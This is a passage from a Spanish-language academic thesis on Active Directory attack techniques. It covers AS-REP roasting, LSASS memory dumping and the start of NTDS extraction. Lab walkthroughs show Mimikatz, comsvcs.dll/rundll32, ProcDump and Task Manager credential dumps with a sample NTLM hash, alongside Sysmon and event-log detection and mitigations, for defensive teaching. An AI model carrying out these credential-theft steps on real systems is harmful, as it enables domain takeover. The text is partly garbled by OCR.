546F5F615B66D671AEAS P93BDFEF74627EAS3BB28C67F2289604EARAFS552E347C14

Figura 6.5: Utilizacion de Rubeus para obtener el hash de cuentas sin autenticacion previa.
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Una vez obtenido el hash AS-REP de la cuenta, el adversario puede intentar obtener la
contrasena en texto claro mediante la técnica “T1110.002: Brute Force: Password Cracking”.

Para ello puede utilizar la herramienta HashCat con el modo 18200.

Deteccion de la técnica

Un enfoque para poder detectar esta técnica consiste en analizar los paquetes de la red
que contengan peticiones del protocolo LDAP. Dentro de estas peticiones, se buscara detectar
aquellas que contengan los filtros mostrados en la figura [6.5]

También puede auditarse el evento de Windows 4768, un nuevo TGT ha sido solicitado,
en los casos en que la cuenta que lo solicita es una cuenta que no tiene la autenticacion
previa activada. Se puede tener especial atencion a los eventos que se generan e indican que
el cifrado utilizado es tiene el valor con valor 0x17, por lo que es del tipo RC4. Este evento

puede observarse en la figura

{2] Propiedades de evento: Evento 4768, Microsoft Windows security auditing. *

General Detalles

Se solicitd un vale de autenticacion (TGT) de Kerberos. ~

Informacién de cuenta:

Mombre de cuenta: PrintServiceAccount

Mombre de dominic Kerberes proporcionado: ACME.local

Id. de usuario: ACME\PrintServiceAccount
Informacién de servicio:

Mombre de servicio: krbtgt

Id. de servicio: ACME\krbtgt
Infermacién de red:

I Direccion de cliente: iff‘FF:192.16_3.1.101|

Puerto de cliente: 50829
Informacién adicional:

Opcicnes de vale: (40800010

Cédigo de resultado: 0x0

I Tipo de cifrado de vale: 017 I
Tipo de autenticacién previa: 0

Informacién de certificado:

MNombre de emisor de certificados:
Mimero de serie de certificado:
Huella digital de certificado:

Seolo se proporciona informacion de certificado si se usé un certificado para la autenticacion

previa,
v

Mombre de registro:  Seguridad
Origen: Microsoft Windows security Registrado: 12/06/2024 18:02:21
Id. del 4768 Categoria de tarea:  Kerberos Authentication Servi
Mivel: Informacién Palabras clave: Auditoria correcta
Usuario: Mo disponible Equipo: DCO1ACME. local
Cadigo de operacién: Informacidn
Mas informacion: Ayuda Registro de eventos

Copiar Cerrar

Figura 6.6: Evento 4768, se solicit6 un vale de autenticacion (TGT) de Kerberos.
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Mitigacién de la técnica

La principal mitigaciéon de la técnica consiste en habilitar siempre la autenticacion previa
de Kerberos. En caso de que no sea posible, se debe utilizar una contrasena robusta que no
permita que un adversario pueda obtenerla desde el hash. También se recomienda utilizar en
Kerberos el cifrado AES en lugar de RC4 en caso de que sea posible.

Para evitar que un adversario pueda activar el no requerir autenticacioén previa de una
cuenta gracias a tener el permiso “ GeneriAll” sobre ella, son necesarias otras mitigaciones.
Entre estas mitigaciones se encuentra el separar cuentas de administracion de cuentas de
usuarios, aplicar el principio de menor privilegio posible, y la utilizacién de una buena politica

de contrasenas, las cuales sean robustas y tengan fecha de expiracion.

6.1.3. T1003.001: OS Credential Dumping: LSASS Memory

Este ataque permite a los adversarios acceder a credenciales almacenados en la memoria
del proceso LSASS, Local Security Authority Subsystem Service. En este proceso se encarga
de hacer cumplir la politica de seguridad verifica que los usuarios inician sesién y maneja
los cambios de contrasenas, entre otras funcionalidades. Dentro de este proceso se pueden
encontrar contrasenas, hashses NT y LM y tickets de Kerberos.

El proceso LSASS se encuentra presente en todos los sistemas operativos Windows. En
caso de que el adversario consiga acceder a este proceso, podra acceder a la informaciéon
de credenciales de todos los usuarios que hayan iniciado sesiéon en la méquina donde esta
ejecutandose.

Sobre la implementacion, los adversarios pueden realizar la técnica de forma local o
remota. En caso de hacerla de forma local, extraen la informacion directamente del proceso
en la maquina donde se realiza. En caso de hacerse de forma remota, los adversarios pueden
realizar un volcado del proceso en la méquina, extraerlo a una méaquina que controlen y
una vez ahi extraer la informacion. La ventaja para los adversarios de realizar el ataque de
forma remota es que no tienen que preocuparse de tener que transferir las herramientas para
extraer la informacién a las maquinas comprometidas, lo cual implica tener que implementar

otras medidas para evadir los sistemas de defensa de estas maquinas.

Utilizacién por adversarios

Segiin el reporte que hace la empresa Mandiant sobre el grupo Wizard Spider, este grupo
solfa utilizar con bastante frecuencia esta técnica para obtener credenciales del dominio [26].
Dentro de los actores en los cuales se ha detectado el uso de esta técnica, se encuentran
muchos més. Segin un aviso conjunto entre la NSA, la CISA, el FBI y el NCSC se ha
detectado el uso de esta técnica por parte del grupo APT28 o Fancy Bear, asociado a una

unidad del servicio Inteligencia Militar Ruso, conocido como GRU [34].
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Otro grupo asociado a una unidad diferente del GRU, conocido como Sandworm Team
o Voodoo Bear también ha utilizado esta técnica. El equipo de inteligencia de amenazas de
Microsoft ha atribuido a este grupo el ataque de ransomware contra diversas organizaciones
en Polonia y Ucrania en el contexto del conflicto bélico entre Ucrania y Rusia. En algunos
entornos utilizaron herramientas integradas en Windows para crear un volcado del proceso
LSASS que les permiti6é acceder a credenciales para aumentar sus privilegios en los dominios
y poder ejecutar el ransomware [45].

Otro grupo reconocido por usar esta técnica es MuddyWater. Segin el Comando Ci-
bernético de los Estados Unidos, este grupo esté asociado al Ministerio de Inteligencia y
Seguridad Nacional de Iran [44]. Se tiene constancia de que ha utilizado herramientas de
codigo libre como Mimikatz y desarrolladas por Microsoft como ProcDump para llevar a
cabo la extraccion de credenciales del proceso LSASS [16], [37].

A dia de hoy, en la entrada asociada de ATT&CK a esta técnica se puede observar
que ha sido utilizada por 30 grupos diferentes, entre los que se encuentran los mencionados
anteriormente. Esto implica que es una técnica de alta importancia y la cual tiene muchas
variantes, pues cada adversario suele implementarlo de forma diferente.

Para poder realizar este ataque, los adversarios necesitan permisos de administracion en

la maquina en la que van a acceder al proceso LSASS.

Escenario 1: Extracciéon local utilizando Mimikatz

En este escenario se supondré que el adversario ha sido capaz de obtener acceso como
administrador en una estacion de trabajo donde el usuario al que pertenece esta también tiene
una sesion iniciada. Ademés, se supone que el adversario ha movido ya herramienta Mimikatz
hasta la estacion de trabajo con el fin de ejecutarla localmente para extraer informacion del
proceso LSASS.

Todas las versiones de Mimikatz que se pueden encontrar en internet son detectadas
por los sistemas de antivirus. Por motivos de alcance de el proyecto en este no se realizara
evasion de antivirus, por lo que Windows Defender se desactivard. La prueba se realiza
igualmente debido a que un adversario podria realizar modificaciones en Mimikatz que le
permita evadir los anédlisis estaticos y dinamicos de los sistemas de antivirus, para lo que
podrian usar diferentes técnicas. Una de las técnicas podria ser “T'1027.001: Obfuscated Files
or Information: Binary Padding”, donde aumentan el tamano del archivo sin modificar su
funcionalidad para evitar que coincida el hash con los indicadores de compromiso reconocidos
o para que alguna herramienta de antivirus no procese el archivo debido a su gran tamano.
Otra técnica muy usada es “T'1027.008: Obfuscated Files or Information: Stripped Payloads”,
donde eliminan las cadenas de texto y modifican los nombres de las variables con el fin de que
cuando el antivirus busque estas en el texto no se encuentren y no lo detecte como malicioso.

Los adversarios pueden utilizar Mimikatz desde el binario, cuyo cédigo es abierto y pueden

modificar y recompilar, o desde un script de PowerShell. La ventaja del script de PowerShell
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es que puede descargarse y usarse directamente en memoria, sin necesidad de instalar nada
en el disco de la méquina donde va a realizarse el ataque.

En un ataque de 2022, se detectd que el atacante accedioé al proceso LSASS utilizando
una version modificada de Mimikatz, donde ademéas automatizaba su ejecucion. Los analistas
de la intrusiéon no fueron capaces de determinar como el adversario consiguié los privilegios
necesarios para acceder al proceso LSASS, pero gracias a eso pudo continuar con su ataque
que terminé con el ransomware ” Hive” desplegado por todo el dominio [64].

En este ejemplo se utilizara el binario de Mimikatz obtenido del repositorio de GitHub
de su creador. Una vez el adversario ha conseguido mover el binario hasta la maquina puede

ejecutarlo como se ve en la figura 6.7}

ntilkiwi.com )

vHE g HH Vincent [ ( etoux@gmail.com )
i » https://pingcastle.com / http yvsmartlogon.com

mimikatz # sekurlsa::logonpasswords

B : 2486676 ( @24b914)
Interact from 2
ser Name : Administrador
Domain : ACME
Logon Server : DCel
Logan Time N ©
SID : i i 1-4 974-21142924- 566

6lcéddSedfalfef2if2bf
1422b71cd4B88da2 T

rname
Domain
Password

credman
cloudap

Figura 6.7: Extraccion de informacion del proceso LSASS con Mimikatz localmente.

Tras ejecutar Mimikatz el adversario utiliza LogonPasswords para acceder a todas las

credenciales de todas las cuentas que tienen la sesion iniciada en esa maquina, tanto usuarios
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como ordenadores. Esta funcionalidad se encuentra dentro del médulo sekurlsa, encargado
de interactuar con el proceso LSASS y el cual requiere los privilegios de administracion que
se obtuvieron con el comando anterior.

Como se puede ver en la salida del dltimo comando, la cual se ha recortado debido a la
gran cantidad de datos que contiene, aparece el hash NTLM del usuario Administrador. Si
se sigue observando la salida del comando se puede encontrar la informacién del otro usuario
que tiene la sesion iniciada, antonio.garcia, como se puede apreciar en la figura [6.8] De este

también se obtiene el hash NTLM del otro usuario.

@

Interact from 1
antonio.garcia

Domain

Logon Serwve

Logon Time : :14:

SID : 5-] ; 1-4831269974-21142024-1163

Primary
: antonio.garcia
I ’

antonio.garcia
ACME
(null)

antonio.garcia
ACME . LOCAL
(null)

credman
cloudap

Figura 6.8: Datos del proceso LSASS del usuario antonio.garcia obtenidos con Mimikatz
localmente.

Si bien en este ejemplo el adversario no podria haber aumentado sus privilegios en el
dominio pues ya poseia acceso a la cuenta de administrador, es posible que este ataque se
hubiese realizado tras ejecutar alguna técnica de escalada de privilegios en la estacion de
trabajo. Para ello no es necesario tener un usuario, pues podria tratarse de explotar una
vulnerabilidad web para acceder a la maquina y explotar algin servicio en la maquina que
le permita escalar privilegios a nivel de sistema. En ese caso, el usuario habria obtenido el
hash del usuario que si le permitiria aumentar privilegios y realizar movimientos laterales
en el dominio. Una vez obtenidos los hashes, podria intentar obtener la contrasena en texto
claro mediante la técnica “T'1110.002: Brute Force: Password Cracking” o para autenticar-
se en maquinas del dominio mediante la técnica “T'1550.002: Use Alternate Authentication
Material: Pass the Hash”.
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De este ejemplo también se puede comprender que la informacién que pueda obtener un
usuario a través del proceso LSASS depende de la informaciéon que esté guardando en ese

momento el proceso.

Escenario 2: Volcado con comsvcs.dll y extracciéon remota

En este escenario se supondra que el adversario ha sido capaz de obtener acceso a nivel de
sistema al controlador de dominio del Directorio Activo. Para realizar el volcado se utilizara
la libreria dindmicamente cargada comsves.dll, la misma que ha utilizado Sandworm Team
en alguno de sus ataques [45)].

La ventaja para el adversario de realizar la extraccion de forma remota es que este no
tiene que preocuparse de evadir las defensas necesarias para transferir y ejecutar Mimikatz
en la méaquina. Puede volcar todo el proceso y extraerlo a una maquina de su control, en la
cual puede desactivar todas las medidas de seguridad y utilizar cualquier Mimikatz.

La libreria comsves.dll se encuentra por defecto en todos los sistemas Windows, lo que
hace que el adversario no tenga que transferir ningin software hasta la méaquina donde va
a realizar el volcado. Ademas, esta firmada por Micrsoft, por lo que no es detectada como
maliciosa por sistemas de antivirus. Esto se puede ver en la figura[6.9, donde tras subirse a la
pagina de VirusTotal indica que ese archivo esta distribuido por Microsoft y que ninguno de
los 69 antivirus que han analizado el archivo lo ha detectado como malicioso. Pese a eso, en
la informacion que se provee sobre el binario, aparece la etiqueta “lolbin”, lo que indica que
este programa puede ser utilizado para la técnica Living of the Land Binaries. Esta técnica,
identificada en ATT&CK como “T'1218: System Binary Proxy Execution”, permite la evasion

de defensas al ejecutar archivos firmados con objetivos maliciosos.

File distributed by Microsoft

c8057c3ed5db634383e500872bd63200ae279bef5791a456012db2e94T746faa7
COMSVCS.DLL

ped| E bly  detect-debug-environment  idle  B4bits lolbin known-distributor

Figura 6.9: Analisis de comsves.dll en VirusTotal.

Para el realizar el volcado de memoria, el adversario debera realizar lo mostrado en la
figura [6.10] Primero debera obtener el identificador del proceso LSASS, una vez obtenido
podré realizar el volcado de ese proceso. Para ejecutar la libreria, ya que no es un programa,
debera utilizar el programa rundll32, que es el comando de Windows que permite cargar y

ejecutar librerias.
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.dll, MiniDump 676 C 3 \l.dmp full

Figura 6.10: Volcado del proceso LSASS utilizando comsves.dll.

Una vez realizado el volcado, el adversario deberé transferir ese archivo con la informa-
cion de proceso a una maquina mediante alguna técnica de exfiltracion para poder ejecutar
Mimikazt y extraer la informacion sobre credenciales de la memoria del proceso. Para realizar
el proceso de exfiltracion, puede utilizar cualquiera de las técnicas de ATT&CK asociadas a
esta tactica. Por ejemplo, el adversario podria realizarlo a través del canal de comunicacion
del Comando y Control, a través de un servicio Web hacia el exterior, mediante alguna apli-
cacion de almacenamiento o exponiendo el archivo en un recurso compartido al que tenga
acceso.

Una vez en su maquina, el adversario podré extraer la informacion del proceso de forma
similar a lo visto en el escenario uno, pero con una pequena diferencia. Como se puede ver
en la figura [6.11], el adversario ha ejecutado el comando minidump del modulo sekurisa de
Mimikatz especificando la ruta del archivo donde se encuentra el volcado de memoria. Este
comando ha hecho que la extraccion de credenciales del comando siguiente no la realice acce-
diendo al proceso LSASS, sino accediendo al volcado de este en un archivo. Esto ademas hace
que el adversario no requiera privilegios de administraciéon para poder realizar la extraccion

de informacién, pues solo necesita acceso al fichero donde se encuentra.

PS C:\Users\Usuario\Desktop\x64> .\mimikatz.exe

CHHEHEHE . mimikatz 2.2.8 (x64) #19841 Sep 19 2622 17:44:08
J## M~ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY " gentilkiwi® ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
‘## v #' Vincent LE TOUX ( vincent.letoux@gmail.com )
‘HEHER > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::minidump C:\Users\Usuario\Downloads\1.dmp
Switch to MINIDUMP : 'C:\Users\Usuario\Downloads\1l.dmp'

mimikatz # sekurlsa::logonpasswords

Opening : 'C:\Users\Usuario\Downloads\l.dmp' file for minidump...

Authentication Id : @ ; 994936 (86000060:60012e78)
: Interactive from 1
: Administrador
1 ACME
: DCe1l
: 84/@6/2024 9:38:19
: 5-1-5-21-3944356951-4831269974-211429524-560

[eeeeeee3] Primary

* Username : Administrador

* Domain : ACME

* NTLM 1 920ae267e048417fcfe@0f49ecbd4b33

* SHA1 : 980b8585a46a18ed462561cedd564falfef27f2bf

Figura 6.11: Extracciéon de informacion del proceso LSASS forma remota con Mimikatz.



56 Vulnerabilidades, explotaciéon, detecciéon y mitigaciones

Escenario 3: Volcado utilizado ProcDump

En este escenario el adversario tiene acceso con privilegios de administracion al contro-
lador de dominio y ha conseguido transferir la herramienta ProcDump a este.

ProcDump es una herramienta desarrollada por Microsoft que permite generar volcados
de memoria de procesos. Se disend para detectar y analizar procesos que tenian picos en
consumos de recursos, pero los adversarios pueden utilizarla con fines maliciosos. Al estar
desarrollada por Microsoft el binario estéd firmado por esta misma empresa, por lo que si no
existen reglas personalizadas, podra descargarse sin que se active ninguna alerta. Esto puede
corroborarse en la figura donde se ve el resultado del analisis de la herramienta en la

plataforma VirusTotal.

File distributed by Microsoft

e4ea34a7c2b51982a6c42c6367119f34bec9aeb9a60937836540035583a5b3be
procdump

overlay  signed  direct-cpu-clock-access ct-debug-environment  checks-user-input

Figura 6.12: Anélisis de ProcDump.exe en VirusTotal.

Se sabe conoce que muchos adversarios han utilizado esta técnica. Segin la empresa
Mandiant, al menos los grupos APT33 [18] y APT39 [19] han sido detectados usando este
procedimiento.

Para realizar el volcado de memoria, el adversario solamente debe ejecutar el comando
que se muestra en la figura El pardametro accepteula evita que aparezca un cuadro de
texto en la pantalla solicitando aceptar los términos de licencia. El parametro “ma” indica
que se realice un volcado completo, el cual incluya toda la memoria y los metadatos del
proceso. Finalmente se indica el proceso, Isass.exe, y el archivo donde se guardaré el volcado,

Isass.dmp.

24] Dump 1 initiat C £ inistrador\D &0 s.dmp
24] Dump 1 writing
:24] Dump 1 complete: 128 MB written in 0.

21:24] Dump count reached.

Administradc wnloads\Procdump>

Figura 6.13: Realizaciéon de un volcado de memoria del proceso LSASS utilizando Proc-
Dump.exe.



Vulnerabilidades, explotacion, detecciéon y mitigaciones 57

Una vez realizado el volcado, el adversario debera mover el archivo a una méquina de su

control y extraer la informaciéon de la misma forma que se expresa en el escenario 2.

Escenario 4: Volcado desde el administrador de tareas

En este escenario el adversario tiene acceso a la interfaz grafica de la maquina donde va a
realizar el volcado de memoria del proceso y ademés cuenta con privilegios administrativos
en esta.

En este caso, el adversario accedera al administrador de tareas, desde el cual realizara el
volcado del proceso. Si bien el uso de herramientas de linea de comandos, como en el escenario
anterior, supone rapidez y permite una mayor automatizacion del ataque, es posible que el
adversario prefiera usar esta técnica en determinados contextos. Es posible que el uso de
PowerShell esté limitado o més controlado, lo que le impide utilizarlo. Ademés, el uso del
gestor de tareas suele pasar mas desapercibido de cara a la deteccidon y anélisis.

Este se trata de otro caso donde el adversario realiza un ataque Living of the Land, donde
utiliza software ya presente en la maquina con fines maliciosos.

Se tiene constancia de que varios grupos han realizado el volcado de la memoria del
proceso LSASS utilizando el administrador de tareas. Segtin analistas de ciberinteligencia de
la empresa Mandiant, el actor malicioso de espionaje chino conocido como APT5 o Keyhole
Panda utiliza el administrador de tareas para generar volcados de memoria del proceso
LSASS para obtener hashes NTLM |[38]. Este método fue usado en septiembre de 2022
por un actor de espionaje irani y les permitié6 obtener permisos de administraciéon en un
controlador de dominio durante un ataque que terminé con un ransomware propagado por
todo el dominio [41].

Una vez el adversario accede al gestor de tareas, debe ir a la pestana de detalles, buscar el
proceso, abrir el ment de opciones de este y seleccionar la opcion “Crear archivo de Volcado”,
como se ve en la figura [6.14

En caso de que el usuario que abre el administrador de tareas no tenga permisos suficientes
podré ver lo mismo que se aprecia en la figura [6.14] pero al intentar realizar el volcado
aparecera un error.

Una vez el proceso finaliza, se informa al usuario de la ruta donde se guardara el volcado.
Esto se puede ver en la figura [6.15]

Una vez se genera el archivo con el volcado de la memoria del proceso el adversario debe
moverlo a una méaquina que controle y extraer la informaciéon con Mimikatz de la misma

forma que se muestra en el escenario 2.

Deteccion de la técnica

En la entrada de esta técnica en MITRE ATT&CK se proponen diferentes métodos

de deteccion que pueden complementarse entre si para poder tener méas posibilidades de
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17 Administrader de tareas
Archive Opciones  Vista

Procesos Rendimiente Usuarios Detalles  Servicios

Mombre PID Estado Mombre d...
[5Interrupciones del si., - En gjecucidn SYSTEM
[5=]isrserv.exe 2136 En gecucidn SYSTEM
o lsassexe 676 Eneiecucion SYSTEM .
[®] Microsoft.A Finalizar tarea EM
[8E MoUsoCore Finalizar el arbol de procesos EM
wos msdtc.exe Proporcionar comentarios cio de.
[EE] MsMpEng.e EM

MusNotifylc Establecer pricridad > linistr...
[ Proceso inas Establecer afinidad EM
Regist EM
[ egls., v Analizar cadena de espera o
[®:] RuntimeBro ) L ) inistr...
[% RuntimeBro Virtualizacion de UAC inistr..
[%5] RuntimeBrao I Crear archive de volcado I inistr...
(=] RuntimeBra Abrir ubicacion del archivo inistr...
[8=]SearchApp.c X inistr...
) Buscar en linea
[5=] SecurityHea ] EM
Iz ServerMana Sieiis inistr...
[85] services.exe Ir a servicio o servicios EM

| TS . v . s -

Figura 6.14: Ment de opciones del administrador de tareas del proceso LSASS.

15 Administrador de tareas

Archive Opciones Vista

Procesos  Rendimiente Usuarios Detalles  Senvicios

Mombre : PID Estado Mombre d... CPL
(85 Interrupciones del si.. - En gjecucidn SYSTEM 00
[5=lismserv.exe 2136 En gecucion SYSTEM oo
[ Isass.exe 676 En gjecucidn SYSTEM 00
[m=] Microsoft.ActiveDire.. 2120 En eiecucidn SYSTEM 0o
(&= msdtc.ex| Volcando procesc S 1 1]
[ MsMpEn, 0o

Mushotid B archivo se cred comectamente. 0o
[55|Proceso i Sy ubicacian es: [f3
[m=| Registry | C:\Users\ADMINI~1"4ppData’\Local\ Temp\lsass DMP 0o
[m=| Runtimet 00
(=] Runtirmet : 00
[ Runtimet Aceptar Abrir ubicacion de archivo o0
[#=| RuntimeBroker.exe 3824 En gjecucion Adrninistr... oo

_ - - -

Figura 6.15: Mensaje de finalizacion del volcado de memoria del proceso LSASS mediante el
administrador de tareas.
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detectarlo.

Como se ha podido ver, la técnica tiene dos fases, la primera consiste en acceder a la
memoria del proceso, generalmente para realizar un volcado, y la segunda consiste en en
extraer la informacion ttil de este. Independientemente de la forma en que el adversario va
a implementar la técnica, siempre va a tener que interactuar con el proceso LSASS. Esto
puede detectarse con el evento 10 de Sysmon, el cual detecta todos los accesos a procesos y
provee informacion de estos.

En la figura [6.16] se puede apreciar el evento generado tras la realizacion del volcado de
memoria. Se trata de un evento de Sysmon de tipo 10, proceso accedido. Dentro de este se

puede observar el proceso al que se ha accedido es LSASS gracias al parametro “ TargetImage”.

{2 Propiedades de eventa: Evento 10, Sysmon

General Detalles

Process accessed:
RuleMame: technique_id=T1003,technique_name=Credential Dumping
UtcTime: 2024-06-05 16:32:18.593

SourceProcessGUID: {eed3eacc-9312-6660-4906-000000001a00}
SourceProcessld: 6080

SourceThreadld: 5568

llsourcelmage: Ch\Users\Administrador\Downloads\Procdump'\procdump.exe |
TargetProcessGUIL: {eed3eacc-c3d4-603e-0c00-00000000T a0}
TargetProcessld: 6/

Targetlmage: CMWindg 3\ |sass.exe
GrantedAccess: (x1FFFFF

Call Trace: LAWindows\5Y5 [EMz2\ntdIlLdll+ 9 3b4| CAWindows\Systemn 32\ wowbd.dll+ 12ba5|C:
\Windows\System32wowbd. dll+6ela| CA\Windows\ System32\wowbdcpu.dil+ 1 7ha| C:\Windows
\System3Zvwowbdcpu.dil+ 119 ChWind ows\System32wowbd. dl+ df5d| CAWind ows\System32
‘wowbd dil+d79d|CAWindows\SYSTEM3IZ\ntdIlL dIl+ 781F5| CAWind ows\SYSTEM32\ntd LIl +
9d%0d|C:\Windows\SYSTEM32\ntdll.dll+ 77e5e| CAWindows\SYSTEM32\ntdILdll+ 73e3ciwowbd) | C:
WWindows\System32WKERMNELBASE. dil+ 118128 {wowtd)|C:hUsers\Administrader,Downloads
‘\Procdumphprocdump.exe+876e| CA\Windows\System3AAKERNEL32 DLL+ 16709 (wow6d)| C:
AWindowsh SYSTEMI ntdIl dll+ 67 ced (wowbd) | CAWindows\SYSTEM32\ntdll. dil+ 67 c9b (wowbd)
Sourcelser: ACME\Administrador
TargetUser: NT AUTHORITYASYSTEM|

Mombre de registro:  Microsoft-Windows-Sysmon/Qperational

Origen: Sysmon Registrado: 05/06/2024 18:32:18

Id. del 10 Categoria de tarea:  Process accessed (rule: Pro
Mivel: Informacian Palabras clave:

Usuario: SYSTEM Equipo: DCO1ACME. local

Codigo de operacién: Informacion

Mas informacian: Ayuda Registro de eventos

Figura 6.16: Evento generado al realizar el volcado de memoria del proceso LSASS utilizando
ProcDump.

Si bien en el parametro “Sourcelmage” aparece el proceso que ha accedido a LSASS, y

se podria utilizar expresiones regulares para la deteccion de herramientas como ProcDump,
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el Administrador de tareas o cualquiera que estén utilizando los adversarios, estos pueden
cambiar el nombre del binario para evitar estas detecciones, como se ha visto en algin
ataque |65]. Para evitar que los adversarios evadan las defensas con tan solo renombrar una
herramienta, se puede utilizar el parametro “GrantedAccess”. Este parametro, segtn la guia
de la comunidad de Sysmon, puede utilizarse para ver que herramienta accedié al proceso,
como se puede ver en la tabla [6.1] [66].

Command Sysmon 10
Isadump::lsa /patch GrantedAccess 0x1438
Isadump::lsa /inject GrantedAccess 0x143a
Isadump::trust /patch GrantedAccess 0x1438
misc:memssp GrantedAccess 0x1438

Procdump mimidump GrantedAccess Ox1ffftf
Task Manage minidump | GrantedAccess 0x1400, 0x1000, 0x1410 y Ox1ffttf
sekurlsa::* GrantedAccess 0x1010

Tabla 6.1: Algunas mascaras de acceso y las herramientas asociadas a ellas |66]

Para poder detectar la extraccion del proceso LSASS utilizando la librerfa comsves.dll
se partir del evento 10 de Sysmon, generado cuando un proceso accede a otro. En este
caso, a igual que en el caso de ProcDump, el parametro “TargetImage” correspondera con
el proceso lsass.exe. En este caso, sin embargo, el parametro “Sourgelmage” corresponda a
“rundll32.ese”. Si se disponde de acceso a la linea de comandos que generd6 el evento, también
puede se puede comprobar si esta contiene “comsves.dll”, la librerfa utilizada para realizar el
volcado, o “Minidump”, el cual es el parametro necesario para realiar el volcado.

Otro parametro a tener en cuenta para poder filtrar eventos y detectar aquellos poten-
cialmente maliciososos es “SourceUser”, donde en caso de que la cuenta que acceda al proceso
no sea una cuenta de servicio valida como SYSTEM se genere una alerta.

Finalmente, para el primer escenario, donde la herramienta Mimikatz se ejecuta en la
propia maquina, seria necesario el uso de un antivirus que detecte esa herramienta antes
de que pueda actuar, generando una alerta y poniendo el archivo en cuarentena. Si bien el
adversario puede editar el archivo para modificar su hash y otras caracteristicas de este para
evitar su deteccion, los antivirus de nueva generacion se centran en caracteristicas superiores

de la pirdmide del dolor, lo que permite detectar la herramienta por los indicadores de ataque.

Mitigacion de la técnica

Se puede activar la proteccion de LSA, que impide que procesos no protegidos accedan
a este proceso. Esta proteccion hace que solamente procesos firmados digitalmente puedan
acceder al proceso LSASS. Esta disponible a partir de la version Windows 8.1 y activada por
defecto en Windows 11. Para activarla puede crearse una directiva de grupo que aplique a

nivel de dominio en la cual se cree un nuevo registro con la configuraciéon que puede observarse
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en la figura [6.17}

P

Archivo  Accion  Ver  Ayuda
e rFE e mdE HEI RO +

_,f’ Directiva Proteccion LSA [DCOTACME.LOCAL]
v (il Configuracidn del equipo

Muevas propiedades de Registro X

'_. Directivas General | Comunes
w || Preferencias

~ || Configuracion de Windows 93
Entorno Accin; Actualizar ~ Erme
é’? Archivos
[ Carpetas
Archivos ini Subdrbal: HKEY_LOCAL_MACHINE ~
ﬁ’ Registro Ruta de la dave: | SYSTEM'gCurrentCont'olSet'n,Cont’ol'|,|_sa|

g Recursos compartidos de red
[#] Accesos directos
(=) Configuracién del Panel de control [CIPredeterminado | RunAsFRL |
v ¢, Configuracién de usuario

MNombre de valor

| Directivas
| Preferencias Tipo de valor: REG_DWORD ~

Informacién del valor: | 00000001

Base

(@) Hexadecimal
(O Dedimal

Cancelar Aplicar Ayuda
\. Preferencias { Fetendidn i Fd‘ﬁndar;

Figura 6.17: Activacion de la proteccion adicional de LSA creando un registro en una politica
de grupo.

En caso de que no se utilice ningtin modulo de autenticaciéon de terceros ni UEFI o Secure
Boot no habra ningtn problema en su implementacion.

Si bien la proteccion LSA es util pues impide que aplicaciones normales accedan al proceso
LSASS, existen diferentes técnicas conocidas para evadir esta proteccién, como el uso de
drivers firmados.

Una medida complementaria y recomendable es el uso de Credential Guard. Si Credential
Guard esta habilitado en un dispositivo, existen dos procesos LSASS, uno de los cuales
se encuentra dentro de una maquina virtual. El proceso local, Isass.exe, se comunica con el
proceso aislado, LSAIso.exe. Para que sea efectivo debe habilitarse antes de que un dispositivo
se una a un dominio. Puede habilitarse mediante el registro o mediante una directiva de
grupo.

En caso de querer habilitarlo mediante una directiva de grupo puede crearse una nueva
directiva y asignarle el valor “habilitado” a la configuracion “Activar la seguridad basada en
la virtualizacion”, como se muestra en la figura [6.18]

Otras mitigaciones a implementar implican impedir que el adversario obtenga privile-
gios para ser capaz de utilizar esta técnica para obtener informaciéon. Esto implica el uso

de contrasenas robustas con expiracion, actualizaciones constantes para evitar utilizar soft-
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Figura 6.18: Activacion de Credential Guard con una politica de grupo.

<ni >
inguno Cancelar Aplicar

ware vulnerable y una buena configuracion del sistema para evitar una posible escalada de

privilegios.

6.1.4. T1003.003: OS Credential Dumping: NTDS

Los adversarios pueden intentar acceder a la base de datos del dominio de Directorio Acti-
vo, 0 intentar hacer una copia de esta, para obtener informaciéon sobre todos los componentes
del dominio, lo cual incluye contrasenas.

Dado que ese archivo esta siempre abierto por el Centro de Distribucion de Claves de
Kerberos, para poder copiarlo los adversarios deben utilizar otras herramientas y técnicas.

Una vez los adversarios han conseguido realizar una copia de este fichero, deben extraer
la informacién que contiene.

Si bien es cierto que el adversario ya debe poseer privilegios de administracion en el
controlador de dominio para realizar el ataque, este sigue teniendo diferentes motivaciones
para poder acceder a los credenciales almacenados en la base de datos NTDS. Existe la
posibilidad de que el adversario haya conseguido explotar alguna serie de vulnerabilidades
con las que haya obtenido esos privilegios, pero no tenga ninguna credencial con los permisos
asociados. Ademas, gracias a este ataque, el adversario puede obtener el hash NTLM de la
cuenta krbtgt, encargada del servicio del centro de distribucion de claves de Kerberos. Con
el control de esta cuenta el adversario puede obtener persistencia en el dominio mediante la
técnica “T'1558.001: Steal or Forge Kerberos Tickets: Golden Ticket”. También puede acceder
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a la informaciéon de todos los usuarios del dominio, los cuales puede vender o utilizar para

generar diccionarios.

Utilizacién por adversarios

Existen diferentes grupos de adversarios de los cuales se tiene constancia de que han uti-
lizado esta técnica. Segiin la NSA | la CISA, el FBI y el NCSC uno de estos grupos es APT28
o Fancy Bear, el cual ha utilizado la herramienta ntdsutil.exe, la cual se encuentra integrada
en Windows, para realizar el ataque [34]. Esta herramienta también ha sido utilizada por
Sandworm Team, segin informa la comunidad de Inteligencia de Amenazas de Microsoft
[45].

Segiin diferentes informes de Mandiant, el grupo Wizard Spider también ha utilizado
esta técnica. Para ello ha utilizado la herramienta ntdsutil.exe, al igual que Fancy Bear y
Sandworm Team. Ademés de esa herramienta, también han accedido a NTDS a través de

realizar Volume Shadow Copies, las cuales generan instantaneas de un volumen [22], [26].

Escenario 1: Copia de la base de datos con Ntdsutil.exe y extracciéon de infor-

macién con secretsdump.py

En este escenario se supone que el adversario ha sido capaz de obtener acceso al contro-
lador de dominio con la cuenta de Administrador del dominio.

Para realizar este procedimiento, el adversario no necesita mover ninguna herramienta
hasta el controlador de dominio, pues realizara la técnica Living off the Land la cual ya se
ha explicado anteriormente. La herramienta ntdsutil.exe permite gestionar y administrar la
base de datos del dominio de Directorio Activo mediante una interfaz de linea de comandos.

El adversario puede realizar una copia del fichero NTDS.dit con la herramienta ntdsu-
til.exe de la forma que se ve en la figura En el comando que ejecuta primero selecciona
ntds como la base de datos con la que se va a trabajar. Posteriormente activa el modo IFM,
